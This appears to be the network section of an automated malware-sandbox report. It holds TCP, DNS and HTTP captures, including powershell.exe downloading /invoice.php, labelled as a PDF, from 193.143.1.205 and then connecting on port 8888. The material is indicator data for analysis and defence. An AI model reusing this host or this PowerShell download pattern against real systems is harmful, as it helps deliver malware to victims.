Jan 13, 2025 08:46:01.547395945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547399998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547410965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547425985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547435999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547441006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547455072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547461033 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547494888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547504902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547508955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547533035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547547102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547550917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547561884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547576904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547584057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547591925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547605991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547619104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547621012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547636032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547637939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547650099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547673941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547883987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547899961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547914028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547923088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547928095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547943115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547946930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547957897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547972918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.547982931 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.547986984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548002005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548007011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.548016071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548031092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548036098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.548046112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548059940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548074961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548079967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.548090935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.548099995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.548125982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.551398993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.582518101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582537889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582602024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.582653999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582669973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582685947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582706928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.582736015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582751036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582767010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582772017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.582782030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582797050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582803011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.582812071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.582837105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599473000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599486113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599499941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599523067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599538088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599555969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599570036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599585056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599591970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599598885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599616051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599627972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599634886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599653959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599680901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599731922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599747896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599762917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599776983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599792004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599796057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599807978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599812031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599844933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599865913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599883080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599898100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599911928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599920034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599927902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599944115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.599946976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.599981070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.637972116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.637995958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638014078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638029099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638045073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638052940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638058901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638076067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638087988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638107061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638504982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638544083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638560057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638572931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638586998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638611078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638612032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638624907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638641119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638644934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638654947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638669968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638684988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638708115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638715029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638726950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638741016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638753891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638767958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638787031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638851881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638866901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638881922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638895988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638901949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638911009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638925076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638935089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638940096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638962984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.638978004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.638993979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639008045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639023066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639024019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639036894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639043093 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639050961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639065027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639075041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639081001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639101028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639184952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639200926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639216900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639221907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639230013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639252901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639261007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639266968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639290094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639303923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639329910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639333963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639333963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639344931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639362097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639372110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639408112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639410019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639431000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639455080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639477968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639589071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639604092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639620066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639622927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639635086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639651060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639664888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639669895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639678955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639688969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639694929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639709949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639713049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639724970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639739990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639764071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639764071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639890909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639905930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639919996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639935970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639944077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.639950991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639966011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639981031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.639983892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640002012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640038967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640053034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640069008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640074015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640089035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640103102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640113115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640117884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640132904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640147924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640144110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640163898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640167952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640178919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640192986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640216112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640233994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640295029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640310049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640326977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640350103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640387058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640409946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640424013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640420914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640439034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640454054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640467882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640475988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640482903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.640491962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.640522957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.645102978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.675250053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675272942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675288916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675303936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675332069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675347090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675365925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.675364971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.675364971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.675409079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692068100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692097902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692114115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692128897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692125082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692142963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692157984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692173958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692179918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692179918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692188025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692203045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692207098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692218065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692238092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692248106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692270041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692285061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692289114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692298889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692316055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692329884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692334890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692343950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692358971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692363977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692363977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692383051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692397118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692411900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692416906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.692426920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.692450047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.730134964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730149984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730175018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730190039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730205059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730220079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730235100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730249882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730312109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.730952978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730968952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.730983019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731000900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.731003046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731023073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.731025934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731040955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731055021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731060982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.731079102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731098890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.731108904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:01.731142998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:01.810514927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:02.140853882 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:02.145872116 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:02.145972013 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:02.170845985 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:02.175832987 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:02.980165958 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 08:46:03.032639027 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 08:46:03.190026999 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 08:46:15.011488914 CET	59347	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 08:46:15.011488914 CET	192.168.2.5	1.1.1.1	0x9808	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 08:46:15.018286943 CET	1.1.1.1	192.168.2.5	0x9808	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 13, 2025 08:46:15.501983881 CET	1.1.1.1	192.168.2.5	0xb0a5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 13, 2025 08:46:15.501983881 CET	1.1.1.1	192.168.2.5	0xb0a5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6504	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 08:46:00.040648937 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 08:46:00.876380920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 07:46:00 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 